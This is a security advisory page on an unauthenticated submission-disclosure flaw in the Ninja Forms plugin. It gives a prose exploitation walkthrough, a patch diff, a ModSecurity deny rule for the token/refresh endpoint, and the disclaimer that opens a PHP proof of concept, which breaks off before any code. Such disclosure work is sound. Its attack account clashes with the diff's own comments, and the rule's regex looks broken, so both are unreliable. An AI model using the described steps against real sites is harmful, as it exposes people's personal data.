Published : June 30, 2026

CVE-2026-1239: Ninja Forms <= 3.14.1 Missing Authorization to Unauthenticated Sensitive Information Disclosure via token/refresh REST Endpoint PoC, Patch Analysis & Rule

CVE ID CVE-2026-1239
Plugin ninja-forms
Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 3.14.1
Patched Version 3.14.2
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1239:
This vulnerability allows unauthenticated attackers to view form submissions from Ninja Forms installations through a missing authorization check on the ‘ninja-forms-views/token/refresh’ REST callback. The flaw affects the SubmissionsTable block’s token generation mechanism, which fails to verify whether the requesting user has permission to view submissions before issuing an access token. The CVSS score of 7.5 reflects the ease of exploitation and potential exposure of sensitive data.

Root Cause:
The core issue resides in the block rendering logic within ninja-forms/blocks/bootstrap.php. The render_callback function generates a token bound to a specific form ID without any authorization checks for published posts. The vulnerable code path begins at line 56 where the render_callback checks for a formID attribute. When an attacker places the ‘ninja-forms/submissions-table’ block on any published page, the callback issues a valid token through the ‘ninja-forms-views/token/refresh’ REST endpoint. The REST route handler then uses this token to retrieve submission data. There is no capability check like current_user_can() to verify the user has ‘manage_options’ or any other submission-viewing permission before issuing the token.

Exploitation:
An attacker exploits this by first identifying a WordPress site using Ninja Forms with the SubmissionsTable block. The attacker crafts a request to the ‘/wp-json/ninja-forms-views/token/refresh’ REST endpoint, providing a valid form ID. The endpoint returns a token. With this token, the attacker then requests submission data from the corresponding submissions endpoint. The attack requires no authentication because the token issuance endpoint lacks any permission verification. The attacker can enumerate form IDs by trying sequential numbers or by probing the REST API for available forms.

Patch Analysis:
The patch adds an authorization check inside the render_callback function in ninja-forms/blocks/bootstrap.php at line 56. The fix checks if the current post’s status is not ‘publish’. For non-published posts (drafts, pending review), the code now verifies the user has the submission-viewing capability (defaulting to ‘manage_options’). For published pages, the patch intentionally does not add this check, maintaining the design that administrators who place the block on a published page intend public access. This creates a conditional authorization gate that only protects unpublished content, but it does not fully address the vulnerability for published pages where the block is present.

Impact:
Successful exploitation exposes all form submissions to unauthenticated attackers. Form submissions commonly contain sensitive personal information such as names, email addresses, phone numbers, physical addresses, and custom field data. This information disclosure can lead to identity theft, targeted phishing campaigns, and regulatory compliance violations (GDPR, CCPA). The impact is amplified because the Ninja Forms plugin is widely deployed, and form submissions often accumulate over extended periods, creating a large data exposure surface.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ninja-forms/blocks/bootstrap.php
+++ b/ninja-forms/blocks/bootstrap.php
@@ -56,6 +56,24 @@
         'editor_script' => 'ninja-forms/submissions-table/block',
         'render_callback' => function ($attributes, $content) {
             if (isset($attributes['formID']) && $attributes['formID']) {
+
+                // SECURITY: For non-published posts (draft previews, pending review, etc.),
+                // require submission-viewing capability before issuing a token.
+                // This prevents Contributor/Author users from obtaining tokens by adding
+                // a submissions-table block to a draft post and previewing it.
+                // Published pages intentionally issue tokens to all viewers (admin chose to
+                // display submissions publicly by placing the block on a published page).
+                $current_post = get_post();
+                if ( $current_post && 'publish' !== $current_post->post_status ) {
+                    $views_capability = apply_filters(
+                        'ninja_forms_views_token_capability',
+                        apply_filters( 'ninja_forms_admin_submissions_capabilities', 'manage_options' )
+                    );
+                    if ( ! current_user_can( $views_capability ) ) {
+                        return '';
+                    }
+                }
+
                 wp_enqueue_script('ninja-forms/submissions-table/render');

                 // Generate a token bound to THIS specific form ID only
--- a/ninja-forms/build/fields.asset.php
+++ b/ninja-forms/build/fields.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '64a0fe501fbd48d0be7b');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '8d5c3fdab9777bdcc175');
--- a/ninja-forms/build/sub-table-block.asset.php
+++ b/ninja-forms/build/sub-table-block.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '40e4d6388fcf0076cb79');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '51bd0efc68dcb72c6605');
--- a/ninja-forms/build/submissions.asset.php
+++ b/ninja-forms/build/submissions.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => 'd3e49e628d354dbe2a80');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => '78187cf16774a30784be');
--- a/ninja-forms/includes/Admin/Processes/ExpiredSubmissionCleanup.php
+++ b/ninja-forms/includes/Admin/Processes/ExpiredSubmissionCleanup.php
@@ -126,7 +126,7 @@
         $sub = Ninja_Forms()->form( $form_id )->get_subs();
         foreach( $sub as $sub_model ) {
             // Get the sub date and change it to a UNIX time stamp.
-            $sub_timestamp = strtotime( $sub_model->get_sub_date( 'Y-m-d') );
+            $sub_timestamp = strtotime( $sub_model->get_sub_date( 'Y-m-d H:i:s') );
             // Compare our timestamps and any expired subs to the array.
             if( $sub_timestamp <= $deletion_timestamp ) {
                 $expired_subs[] = $sub_model->get_id();
--- a/ninja-forms/includes/Admin/Processes/ExportSubmissions.php
+++ b/ninja-forms/includes/Admin/Processes/ExportSubmissions.php
@@ -42,6 +42,11 @@
     protected $csvObject;

     /**
+     * @var NinjaFormsIncludesHandlersSubmissionAggregateCsvExportAdapter
+     */
+    protected $submissionAdapter;
+
+    /**
      * Aggregated submission keys in output order
      *
      * @var array
@@ -95,6 +100,7 @@
         $submissionAggregateCsvAdapter = (new SubmissionAggregateFactory())->SubmissionAggregateCsvExportAdapter();
         $submissionAggregateCsvAdapter->submissionAggregate->filterSubmissions($params);

+        $this->submissionAdapter = $submissionAggregateCsvAdapter;
         $this->csvObject = (new NF_Exports_SubmissionCsvExport())->setUseAdminLabels(true)->setSubmissionAggregateCsvExportAdapter($submissionAggregateCsvAdapter);
         $this->indexedLookup = $this->csvObject->reverseSubmissionOrder();

@@ -115,13 +121,32 @@
         if (!$file = fopen($this->file_path, 'w')) {
             $this->add_error('write_failure', esc_html__('Unable to write file.', 'ninja-forms'), 'fatal');
             $this->batch_complete();
+            return;
         }

-        // Add headers to the file.
+        // Add headers to the file with extra columns from filter.
         // We can only do this outside of the process method under the assumption that a single form ID is provided.
         $labels = $this->csvObject->getLabels();
+
+        // Apply filter to get extra column headers (e.g., payment data columns)
+        $csv_array = [
+            0 => [0 => $labels], // Headers
+            1 => [0 => []] // Empty rows for header filter call
+        ];
+        $csv_array = apply_filters('nf_subs_csv_extra_values', $csv_array, [], $this->form);
+
+        // Defensive validation: ensure filter returned valid structure for headers
+        if (!is_array($csv_array) || !isset($csv_array[0][0]) || !is_array($csv_array[0][0])) {
+            error_log('Ninja Forms: nf_subs_csv_extra_values filter returned invalid data for headers');
+            $csv_array = [
+                0 => [0 => $labels],
+                1 => [0 => []]
+            ];
+        }
+        $filtered_labels = $csv_array[0][0];
+
         $glue = $this->enclosure . $this->delimiter . $this->enclosure;
-        $constructed = $this->enclosure . implode($glue, $labels) . $this->enclosure . $this->terminator;
+        $constructed = $this->enclosure . implode($glue, $filtered_labels) . $this->enclosure . $this->terminator;
         fwrite($file, $constructed);
         fclose($file);
     }
@@ -141,11 +166,11 @@
      * Function to loop over the batch.
      *
      * @since 3.5.0
-     * @return  void
+     * @return  void
      */
     public function process()
     {
-        if($this->currentPosition >= $this->sub_count-1){
+        if($this->currentPosition >= $this->sub_count){
             $this->batch_complete();
             return;
         }
@@ -154,7 +179,6 @@

         // Continue looping until end
         $this->process();
-
     }

     /**
@@ -166,40 +190,73 @@
         parent::batch_complete();
     }

-    public function writeBatch( ): void
+    public function writeBatch(): void
     {
-        if (!$file = fopen($this->file_path, 'a')) {
-            $this->add_error('write_failure', esc_html__('Unable to write file.', 'ninja-forms'), 'fatal');
-            $this->batch_complete();
-        }
+        // Collect this batch of rows and submission objects for filter
+        $batch_rows = [];
+        $batch_subs = [];

-        $glue = $this->enclosure . $this->delimiter . $this->enclosure;
-
-        // for each submission within the step
         for ($i = 0; $i < $this->subs_per_step; $i++) {
             if (!isset($this->indexedLookup[$this->currentPosition])) {
-                continue;
+                break;
             }

             $aggregatedKey = $this->indexedLookup[$this->currentPosition];
             $row = $this->csvObject->constructRow($aggregatedKey);

-            //Catch reference to an array or repeated fieldsets of repeater field to display each entry as a row
-            if( array_key_exists('repeater', $row) && is_array($row['repeater']) ){
-                foreach($row['repeater'] as $eachRow){
-                    $constructed = $this->enclosure . implode($glue, $eachRow) . $this->enclosure . $this->terminator;
-                    fwrite($file, $constructed);
+            // Handle repeater fields - they create multiple rows
+            if (array_key_exists('repeater', $row) && is_array($row['repeater'])) {
+                foreach ($row['repeater'] as $eachRow) {
+                    $batch_rows[] = $eachRow;
                 }
-                $this->currentPosition++;
             } else {
-                $constructed = $this->enclosure . implode($glue, $row) . $this->enclosure . $this->terminator;
-                fwrite($file, $constructed);
-
-                $this->currentPosition++;
+                $batch_rows[] = $row;
             }

-
+            // Get submission object for filter
+            $submissionId = $this->submissionAdapter
+                ->submissionAggregate
+                ->getSubmissionValuesByAggregatedKey($aggregatedKey)
+                ->getSubmissionRecordId();
+            $batch_subs[] = Ninja_Forms()->form()->get_sub($submissionId);
+
+            $this->currentPosition++;
+        }
+
+        // Apply nf_subs_csv_extra_values filter to this batch
+        // Filter expects: $csv_array[0][0] = headers, $csv_array[1][0] = rows
+        $csv_array = [
+            0 => [0 => $this->csvObject->getLabels()], // Headers
+            1 => [0 => $batch_rows] // Batch rows
+        ];
+
+        $csv_array = apply_filters('nf_subs_csv_extra_values', $csv_array, $batch_subs, $this->form);
+
+        // Defensive validation: ensure filter returned valid structure for rows
+        if (!is_array($csv_array) || !isset($csv_array[1][0]) || !is_array($csv_array[1][0])) {
+            error_log('Ninja Forms: nf_subs_csv_extra_values filter returned invalid data for rows');
+            $csv_array = [
+                0 => [0 => $this->csvObject->getLabels()],
+                1 => [0 => $batch_rows]
+            ];
+        }
+
+        // Write filtered rows to file
+        $file = fopen($this->file_path, 'a');
+        if (!$file) {
+            $this->add_error('write_failure', esc_html__('Unable to write file.', 'ninja-forms'), 'fatal');
+            $this->batch_complete();
+            return;
         }
+
+        $glue = $this->enclosure . $this->delimiter . $this->enclosure;
+
+        foreach ($csv_array[1][0] as $filtered_row) {
+            $constructed = $this->enclosure . implode($glue, $filtered_row) . $this->enclosure . $this->terminator;
+            fwrite($file, $constructed);
+        }
+
+        fclose($file);
     }
     /**
      * Method that encodes $this->response and sends the data to the front-end.
--- a/ninja-forms/includes/Admin/Processes/ImportForm.php
+++ b/ninja-forms/includes/Admin/Processes/ImportForm.php
@@ -296,14 +296,16 @@
         $insert_columns_types = array();

         foreach ( $this->forms_db_columns as $column_name => $setting_name ) {
-            // Make sure we don't try to set created_at to NULL.
-            if( 'created_at' === $column_name && (!isset($this->form[ 'settings' ][ $setting_name ]) || is_null( $this->form[ 'settings' ][ $setting_name ] ) ) ) continue;
-
             $formColumnName = null;

             if(isset($this->form[ 'settings' ][ $setting_name ])){
                 $formColumnName = $this->form[ 'settings' ][ $setting_name ];
-            }
+            }
+
+            // If created_at is not set or is NULL, set it to the current timestamp
+            if( 'created_at' === $column_name && (is_null( $formColumnName ) || empty( $formColumnName )) ) {
+                $formColumnName = current_time( 'mysql' );
+            }

             $insert_columns[ $column_name ] = $formColumnName;

--- a/ninja-forms/includes/Database/Models/Form.php
+++ b/ninja-forms/includes/Database/Models/Form.php
@@ -309,11 +309,11 @@
         // Duplicate the Form Object.
         $wpdb->query( $wpdb->prepare(
             "
-                INSERT INTO {$wpdb->prefix}nf3_forms ( `title` )
-                SELECT CONCAT( `title`, ' - ', %s )
-                FROM {$wpdb->prefix}nf3_forms
+                INSERT INTO {$wpdb->prefix}nf3_forms ( `title`, `created_at` )
+                SELECT CONCAT( `title`, ' - ', %s ), %s
+                FROM {$wpdb->prefix}nf3_forms
                 WHERE  id = %d;
-            ", esc_html__( 'copy', 'ninja-forms' ), $form_id
+            ", esc_html__( 'copy', 'ninja-forms' ), current_time( 'mysql' ), $form_id
         ) );
         $new_form_id = $wpdb->insert_id;

--- a/ninja-forms/includes/Database/SubmissionExpirationCron.php
+++ b/ninja-forms/includes/Database/SubmissionExpirationCron.php
@@ -74,7 +74,7 @@
         $sub = Ninja_Forms()->form( $form_id )->get_subs();
         foreach( $sub as $sub_model ) {
             // Get the sub date and change it to a UNIX time stamp.
-            $sub_timestamp = strtotime( $sub_model->get_sub_date( 'Y-m-d') );
+            $sub_timestamp = strtotime( $sub_model->get_sub_date( 'Y-m-d H:i:s') );
             // Compare our timestamps and any expired subs to the array.
             if( $sub_timestamp <= $deletion_timestamp ) {
                 $expired_subs[] = $sub_model->get_id();
--- a/ninja-forms/includes/Fields/Checkbox.php
+++ b/ninja-forms/includes/Fields/Checkbox.php
@@ -19,7 +19,7 @@

     protected $_test_value = 0;

-    protected $_settings =  array( 'checkbox_default_value', 'checkbox_values', 'checked_calc_value', 'unchecked_calc_value' );
+    protected $_settings =  array( 'checkbox_default_value', 'checkbox_values', 'checked_value', 'unchecked_value', 'checked_calc_value', 'unchecked_calc_value' );

     protected $_settings_exclude = array( 'default', 'placeholder', 'input_limit_set' );

@@ -40,6 +40,8 @@
         add_filter( 'ninja_forms_merge_tag_value_' . $this->_name, array( $this, 'filter_merge_tag_value' ), 10, 2 );
         add_filter( 'ninja_forms_merge_tag_calc_value_' . $this->_name, array( $this, 'filter_merge_tag_value_calc' ), 10, 2 );
         add_filter( 'ninja_forms_subs_export_field_value_' . $this->_type, array( $this, 'export_value' ), 10, 2 );
+        add_filter( 'ninja_forms_localize_field_' . $this->_name, array( $this, 'localize_field' ) );
+        add_filter( 'ninja_forms_localize_field_' . $this->_name . '_preview', array( $this, 'localize_field' ) );
     }

     /**
@@ -112,10 +114,27 @@
      */
     public function filter_merge_tag_value( $value, $field )
     {
-        // If value is true, return checked value setting.
-        if( $field[ 'settings' ][ 'value' ] ) return $field[ 'settings' ][ 'checked_value' ];
-        // Else return unchecked value setting.
-        return $field[ 'settings' ][ 'unchecked_value' ];
+        $default_checked = esc_html__( 'Checked', 'ninja-forms' );
+        $default_unchecked = esc_html__( 'Unchecked', 'ninja-forms' );
+
+        // Check for display values first, fall back to calc values
+        if( $value ) {
+            // Checkbox is checked
+            if ( isset( $field[ 'settings' ][ 'checked_value' ] ) && ! empty( $field[ 'settings' ][ 'checked_value' ] ) && $field[ 'settings' ][ 'checked_value' ] !== $default_checked ) {
+                return $field[ 'settings' ][ 'checked_value' ];
+            } elseif ( isset( $field[ 'settings' ][ 'checked_calc_value' ] ) && $field[ 'settings' ][ 'checked_calc_value' ] !== '' ) {
+                return $field[ 'settings' ][ 'checked_calc_value' ];
+            }
+            return $default_checked;
+        } else {
+            // Checkbox is unchecked
+            if ( isset( $field[ 'settings' ][ 'unchecked_value' ] ) && ! empty( $field[ 'settings' ][ 'unchecked_value' ] ) && $field[ 'settings' ][ 'unchecked_value' ] !== $default_unchecked ) {
+                return $field[ 'settings' ][ 'unchecked_value' ];
+            } elseif ( isset( $field[ 'settings' ][ 'unchecked_calc_value' ] ) && $field[ 'settings' ][ 'unchecked_calc_value' ] !== '' ) {
+                return $field[ 'settings' ][ 'unchecked_calc_value' ];
+            }
+            return $default_unchecked;
+        }
     }

     /**
@@ -130,7 +149,7 @@
     public function filter_merge_tag_value_calc( $value, $field )
     {
         // If checkbox is checked (using same logic as filter_merge_tag_value)...
-        if ( ! empty( $field[ 'settings' ][ 'value' ] ) ) {
+        if ( ! empty( $value ) ) {
             // ...return the checked calc value of the field model.
             return $field[ 'checked_calc_value' ];
         } else {
@@ -181,4 +200,40 @@
             return esc_html__( 'unchecked', 'ninja-forms' );
         }
     }
+
+    /**
+     * Localize Field
+     * Pass checkbox display values to JavaScript for front-end merge tag replacement.
+     * Exposes resolved checked/unchecked values at the top level so
+     * fieldModel.get('checked_value') works in JavaScript.
+     *
+     * @since 3.14.2
+     *
+     * @param array $field
+     * @return array
+     */
+    public function localize_field( $field )
+    {
+        $default_checked = esc_html__( 'Checked', 'ninja-forms' );
+        $default_unchecked = esc_html__( 'Unchecked', 'ninja-forms' );
+
+        // Check for display values first, fall back to calc values if not set
+        if ( isset( $field['settings']['checked_value'] ) && ! empty( $field['settings']['checked_value'] ) && $field['settings']['checked_value'] !== $default_checked ) {
+            $field['checked_value'] = $field['settings']['checked_value'];
+        } elseif ( isset( $field['settings']['checked_calc_value'] ) && $field['settings']['checked_calc_value'] !== '' ) {
+            $field['checked_value'] = $field['settings']['checked_calc_value'];
+        } else {
+            $field['checked_value'] = $default_checked;
+        }
+
+        if ( isset( $field['settings']['unchecked_value'] ) && ! empty( $field['settings']['unchecked_value'] ) && $field['settings']['unchecked_value'] !== $default_unchecked ) {
+            $field['unchecked_value'] = $field['settings']['unchecked_value'];
+        } elseif ( isset( $field['settings']['unchecked_calc_value'] ) && $field['settings']['unchecked_calc_value'] !== '' ) {
+            $field['unchecked_value'] = $field['settings']['unchecked_calc_value'];
+        } else {
+            $field['unchecked_value'] = $default_unchecked;
+        }
+
+        return $field;
+    }
 }
--- a/ninja-forms/includes/Fields/Textarea.php
+++ b/ninja-forms/includes/Fields/Textarea.php
@@ -38,6 +38,20 @@

     public function filter_csv_value( $field_value, $field ) {

+        // Decode HTML entities for Rich Text Editor fields
+        // This ensures formatted text displays correctly in CSV exports
+        $textarea_rte = false;
+
+        if ( is_object( $field ) ) {
+            $textarea_rte = $field->get_setting( 'textarea_rte' );
+        } elseif ( is_array( $field ) && isset( $field['settings']['textarea_rte'] ) ) {
+            $textarea_rte = $field['settings']['textarea_rte'];
+        }
+
+        if ( $textarea_rte ) {
+            $field_value = html_entity_decode( $field_value, ENT_QUOTES | ENT_HTML5, 'UTF-8' );
+        }
+
         $field_value = WPN_Helper::maybe_escape_csv_column( $field_value );

         return $field_value;
--- a/ninja-forms/includes/MergeTags/Fields.php
+++ b/ninja-forms/includes/MergeTags/Fields.php
@@ -231,7 +231,7 @@

         $list_fields_types = array('listcheckbox', 'listmultiselect', 'listradio', 'listselect');

-        if (is_array($field['value']) && $field['type'] !== "repeater") $field['value'] = implode(',', $field['value']);
+        if (is_array($field['value']) && $field['type'] !== "repeater" && $field['type'] !== 'file_upload') $field['value'] = implode(',', $field['value']);

         $field['value'] = $this->stripShortcodesMaybeFieldset($field_id,$field['value']);

--- a/ninja-forms/includes/Routes/Submissions.php
+++ b/ninja-forms/includes/Routes/Submissions.php
@@ -12,7 +12,7 @@
 /**
  * Class NF_Routes_SubmissionsActions
  */
-final class NF_Routes_Submissions extends NF_Abstracts_Routes
+class NF_Routes_Submissions extends NF_Abstracts_Routes
 {

     /**
@@ -565,28 +565,50 @@
             'fields'    => [],
             'fields_by_key' => [],
             'settings'=>$formSettings,
-            'form_id'=>$data->formID
+            'form_id'=>$data->formID,
+            'extra' => []
         ];

-        foreach($field_values as $index => $field_value){
+        // Reconstruct field data and process each field through its type handler
+        foreach($field_values as $index => $field_value){
             $id = str_replace('_field_', '', $index);
             $model = Ninja_Forms()->form($data->formID)->get_field( $id );
             $settings = $model->get_settings();
+
+            // Get the RAW field value from post meta (not imploded)
+            // This preserves arrays for checkbox lists, etc.
+            $raw_value = get_post_meta($sub->get_id(), '_field_' . $id, TRUE);
+
+            // Use raw value if it exists, otherwise use the retrieved value
+            $field_value = $raw_value !== '' ? $raw_value : $field_value;
+
+            // Create field array with proper structure
+            $field = array(
+                'id' => $id,
+                'settings' => $settings
+            );
+
+            // Add value to both top level and settings
+            $field['value'] = $field_value;
+            $field['settings']['value'] = $field_value;
+
+            // Flatten the field array (merge settings to top level)
+            $field = array_merge( $field, $field['settings'] );
+
+            // Process the field through its type-specific handler
+            $this->process_retriggered_field( $field, $data_send );
+
+            // Store processed field data
             if($id === $index){
-                $data_send['fields_by_key'][$id] = $settings;
-                $data_send['fields_by_key'][$id]['settings'] = $settings;
-                $data_send['fields_by_key'][$id]['value'] = $field_value;
-                $data_send['fields_by_key'][$id]['settings']['value'] = $field_value;
+                $data_send['fields_by_key'][$id] = $field;
             } else {
-                $data_send['fields'][$id] = $settings;
-                $data_send['fields'][$id]['settings'] = $settings;
-                $data_send['fields'][$id]['value'] = $field_value;
-                $data_send['fields'][$id]['settings']['value'] = $field_value;
+                $data_send['fields'][$id] = $field;
+                $data_send['fields_by_key'][$field['key']] = $field;
             }
         }
-
-        //Process Merge tags
-        $action_settings = $this->process_merge_tags( $data->action_settings, $data->formID, $sub );
+
+        //Process Merge tags (calculations will be processed inside this method)
+        $action_settings = $this->process_merge_tags( $data->action_settings, $data->formID, $sub, $data_send, $formSettings );
         //Process Email Action
         $email_action = new NF_Actions_Email();
         $result = $email_action->process( (array) $action_settings, $data->formID, $data_send );
@@ -599,38 +621,141 @@
     }

     /**
+     * Process a field through its type-specific handler
+     *
+     * Similar to process_field() in AJAX/Controllers/Submission.php
+     * but adapted for email retriggering context
+     *
+     * @since 3.7.0
+     * @param array $field_settings Field settings array
+     * @param array $form_data Form data array (for reference compatibility)
+     * @return void
+     */
+    protected function process_retriggered_field( $field_settings, &$form_data ) {
+        if( ! is_string( $field_settings['type'] ) ) return;
+
+        if( ! isset( Ninja_Forms()->fields[ $field_settings['type'] ] ) ) return;
+
+        $field_class = Ninja_Forms()->fields[ $field_settings['type'] ];
+
+        // If $field_class is not object or string, return without checking for method_exists
+        if(!is_object($field_class) && !is_string($field_class)){
+            return;
+        }
+
+        if( ! method_exists( $field_class, 'process' ) ) return;
+
+        if( $data = $field_class->process( $field_settings, $form_data )  ){
+            $form_data = $data;
+        }
+    }
+
+    /**
      * Process Merge tags for a given Value
-     *
+     *
      * @since 3.4.33
-     *
+     * @param object $data Action settings data
+     * @param int $form_id Form ID
+     * @param object $sub Submission object
+     * @param array $form_data Optional form data with processed fields
+     * @param array $formSettings Optional form settings (for calculation processing)
+     *
      * @return object of Email Action Model with merge tags settingsprocessed
-     *
+     *
      */
-    public function process_merge_tags( $data, $form_id, $sub) {
-
+    public function process_merge_tags( $data, $form_id, $sub, $form_data = null, $formSettings = null) {
+
+        // Get form settings for merge tag initialization
+        if( ! $formSettings ) {
+            $formSettings = Ninja_Forms()->form($form_id)->get_settings();
+        }
+
+        // Init Form Merge Tags
+        $form_merge_tags = Ninja_Forms()->merge_tags[ 'form' ];
+        $form_merge_tags->set_form_id( $form_id );
+        $form_merge_tags->set_form_title( $formSettings['title'] );
+
         // Init Field Merge Tags.
         $fields_merge_tag_object = Ninja_Forms()->merge_tags[ 'fields' ];
         $fields_merge_tag_object->set_form_id($form_id);
-
+
+        // Init Calc Merge Tags
+        $calcs_merge_tags = Ninja_Forms()->merge_tags[ 'calcs' ];
+
         //Process Fields Merge Tags
-        $fields = Ninja_Forms()->form( $form_id )->get_fields();
-        $fields = new NF_Adapters_SubmissionsSubmission( $fields, $form_id, $sub );
-        foreach( $fields as $field ){
-            $fields_merge_tag_object->add_field( $field );
+        // If we have processed form data, use those fields directly (they're already processed)
+        if( $form_data && isset( $form_data['fields'] ) ) {
+            foreach( $form_data['fields'] as $field ){
+                $fields_merge_tag_object->add_field( $field );
+            }
+        } else {
+            // Fallback to adapter method (for backward compatibility)
+            $fields = Ninja_Forms()->form( $form_id )->get_fields();
+            $fields = new NF_Adapters_SubmissionsSubmission( $fields, $form_id, $sub );
+            foreach( $fields as $field ){
+                $fields_merge_tag_object->add_field( $field );
+            }
         }
         //Add All Fields merge tags
         $fields_merge_tag_object->include_all_fields_merge_tags();
         //include fields to the {all_fields_table} and {fields_table} mrerge tags
-        foreach( $fields as $field ){
-            $fields_merge_tag_object->add_field( $field );
+        if( $form_data && isset( $form_data['fields'] ) ) {
+            foreach( $form_data['fields'] as $field ){
+                $fields_merge_tag_object->add_field( $field );
+            }
+        } else {
+            // Fallback to adapter method
+            $fields = isset($fields) ? $fields : new NF_Adapters_SubmissionsSubmission( Ninja_Forms()->form( $form_id )->get_fields(), $form_id, $sub );
+            foreach( $fields as $field ){
+                $fields_merge_tag_object->add_field( $field );
+            }
         }
+
+        // Process calculations AFTER field merge tags are initialized
+        // This allows calculation equations to use field merge tags
+        if( $form_data && isset( $formSettings['calculations'] ) && !empty( $formSettings['calculations'] ) ) {
+            $form_data['extra']['calculations'] = [];
+
+            foreach( $formSettings['calculations'] as $calc ){
+                // Apply filter which replaces merge tags in the equation
+                $eq = apply_filters( 'ninja_forms_calc_setting', $calc['eq'] );
+
+                // Scrub unmerged tags (ie deleted/non-existent fields/calcs, etc).
+                $eq = preg_replace( '/{([a-zA-Z0-9]|:|_|-)*}/', 0, $eq);
+
+                // PHP doesn't evaluate empty strings to numbers. Check for decimal place string
+                $dec = ( isset( $calc['dec'] ) && '' != $calc['dec'] ) ? $calc['dec'] : 2;
+
+                // Initialize calc merge tags with processed equation
+                $calcs_merge_tags->set_merge_tags(
+                    $calc['name'],
+                    $eq,
+                    $dec,
+                    isset($formSettings['decimal_point']) ? $formSettings['decimal_point'] : '.',
+                    isset($formSettings['thousands_sep']) ? $formSettings['thousands_sep'] : ','
+                );
+
+                // Store calculation data
+                $form_data['extra']['calculations'][ $calc['name'] ] = array(
+                    'raw' => $calc['eq'],
+                    'parsed' => $eq,
+                    'value' => $calcs_merge_tags->get_formatted_calc_value(
+                        $calc['name'],
+                        $dec,
+                        isset($formSettings['decimal_point']) ? $formSettings['decimal_point'] : '.',
+                        isset($formSettings['thousands_sep']) ? $formSettings['thousands_sep'] : ','
+                    )
+                );
+            }
+        }
+
         //Loop through Action settings and apply merge tags
         $array_data = (array) $data;
         foreach( $array_data as $ind => $value ){
             if( !empty($value) && is_string($value) ){
                 //Merge tag
                 $data->$ind = apply_filters( 'ninja_forms_merge_tags', $value );
-            }
+            }
         }

         return $data;
--- a/ninja-forms/ninja-forms.php
+++ b/ninja-forms/ninja-forms.php
@@ -3,7 +3,7 @@
 Plugin Name: Ninja Forms
 Plugin URI: http://ninjaforms.com/?utm_source=WordPress&utm_medium=readme
 Description: Ninja Forms is a webform builder with unparalleled ease of use and features.
-Version: 3.14.1
+Version: 3.14.2
 Author: Saturday Drive
 Author URI: http://ninjaforms.com/?utm_source=Ninja+Forms+Plugin&utm_medium=Plugins+WP+Dashboard
 Text Domain: ninja-forms
@@ -43,7 +43,7 @@
      * @since 3.0
      */

-    const VERSION = '3.14.1';
+    const VERSION = '3.14.2';

     /**
      * @since 3.4.0
--- a/ninja-forms/vendor/composer/installed.php
+++ b/ninja-forms/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'saturday-drive/ninja-forms',
-        'pretty_version' => 'dev-c6cdcdc02d670ebeebc34bd3025b804b17e57d75',
-        'version' => 'dev-c6cdcdc02d670ebeebc34bd3025b804b17e57d75',
-        'reference' => 'c6cdcdc02d670ebeebc34bd3025b804b17e57d75',
+        'pretty_version' => 'dev-967b2552a0c9b6be68ab12a9d8c6d6b2b289f54b',
+        'version' => 'dev-967b2552a0c9b6be68ab12a9d8c6d6b2b289f54b',
+        'reference' => '967b2552a0c9b6be68ab12a9d8c6d6b2b289f54b',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'saturday-drive/ninja-forms' => array(
-            'pretty_version' => 'dev-c6cdcdc02d670ebeebc34bd3025b804b17e57d75',
-            'version' => 'dev-c6cdcdc02d670ebeebc34bd3025b804b17e57d75',
-            'reference' => 'c6cdcdc02d670ebeebc34bd3025b804b17e57d75',
+            'pretty_version' => 'dev-967b2552a0c9b6be68ab12a9d8c6d6b2b289f54b',
+            'version' => 'dev-967b2552a0c9b6be68ab12a9d8c6d6b2b289f54b',
+            'reference' => '967b2552a0c9b6be68ab12a9d8c6d6b2b289f54b',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-json/ninja-forms-views/token/refresh$" 
  "id:20261991,phase:2,deny,status:403,chain,msg:'CVE-2026-1239 - Ninja Forms token refresh by unauthenticated user',severity:'CRITICAL',tag:'CVE-2026-1239'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS:formID "@rx ^d+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
